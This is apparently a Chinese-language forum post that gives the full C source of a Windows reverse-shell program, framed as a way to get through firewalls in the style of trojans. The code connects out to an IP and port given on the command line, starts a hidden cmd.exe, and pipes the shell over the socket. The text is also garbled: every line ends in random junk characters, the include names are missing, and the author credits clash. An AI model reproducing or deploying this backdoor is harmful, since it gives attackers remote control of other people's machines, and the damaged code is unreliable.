这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 / QSK$ZDC
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/* ============================== OfbM]:}<3
Rebound port in Windows NT T[~ak"M
By wind,2006/7 !N?|[n1
===============================*/ +.b~2K1
#include Zb<DgJ=3
#include !@p@u;djJ
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#pragma comment(lib,"wsock32.lib") D{PO!WzW
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void OutputShell(); D.)R8X
SOCKET sClient; P_lk40X
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b"/P
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void main(int argc,char **argv) q}1AV7$Ai
{ 'FO^VJ;ha
WSADATA stWsaData; s{Ryh.IyI
int nRet; i[T!{<
SOCKADDR_IN stSaiClient,stSaiServer; OI::0KOv
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if(argc != 3) Qm^N}>e
{ $*`fn{2
printf("Useage:\n\rRebound DestIP DestPort\n"); k%VV(P]sT
return; 5lVDYmh
} drNfFx2
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WSAStartup(MAKEWORD(2,2),&stWsaData); P0 hC4Sxf
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7o'kdYJzo
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stSaiClient.sin_family = AF_INET; OiJ1&Fz(
stSaiClient.sin_port = htons(0); ,K,n{3]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n;/yo~RR
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s{'r'`z.
{ P8:k"i/6J
printf("Bind Socket Failed!\n"); nH/V2>Lm
return; m80Q Mosp
} f*aYS
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stSaiServer.sin_family = AF_INET; bX=A77
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); at/bes W
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h/QZcA
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >#)^4-e
{ CM!bD\5
printf("Connect Error!"); FI Io{ru
return; :-69,e
} _r?H by<b
OutputShell(); wHEt;rc(
} Dc}-wnga
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void OutputShell() nulVQOj|
{ u?&P6|J&
char szBuff[1024]; OtBVfA:[
SECURITY_ATTRIBUTES stSecurityAttributes; j[F\f>
OSVERSIONINFO stOsversionInfo; +%UfnbZ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )4bBR@QM
STARTUPINFO stStartupInfo; ToTehVw
char *szShell; ^"(CZvq
PROCESS_INFORMATION stProcessInformation; -2{NI.-Xd
unsigned long lBytesRead; ~*79rDs{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iT227v!s
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X6)-1.T&
stSecurityAttributes.lpSecurityDescriptor = 0; gp`$/ci
stSecurityAttributes.bInheritHandle = TRUE; zgI!S6q
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8iGS=M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &5h{XSv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c>6dlWTqX
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~k^rI jR
stStartupInfo.wShowWindow = SW_HIDE; 3"NO"+Q
stStartupInfo.hStdInput = hReadPipe; EZ:pcnL{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~:'tp28?
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GetVersionEx(&stOsversionInfo); MHeUh[%(
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switch(stOsversionInfo.dwPlatformId) MKf|(6;~
{ Fku~'30
case 1: L-?
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szShell = "command.com"; r'/&{?Je/
break; }E0~'
default: O]3$$uI=QE
szShell = "cmd.exe"; [%
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break; (H5nz':
} \@&oK2f
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UTB]svC'
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send(sClient,szMsg,77,0); M(8dKj1+
while(1) 55q!2>Jh.
{ _N)/X|=~s
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7^)8DwAl
if(lBytesRead) 17P5Dr&
{ FnxPM`Zx
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P1C{G'cR
send(sClient,szBuff,lBytesRead,0); K)b@,/ 5
} X
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else ]8@s+N
{ ~wYGTm=(n
lBytesRead=recv(sClient,szBuff,1024,0); niC ;WK
if(lBytesRead<=0) break; 3r^Ls[ey
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $~7uDq
} "o_s=^U
} ?#s9@R1
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return; ;QO3^P}
}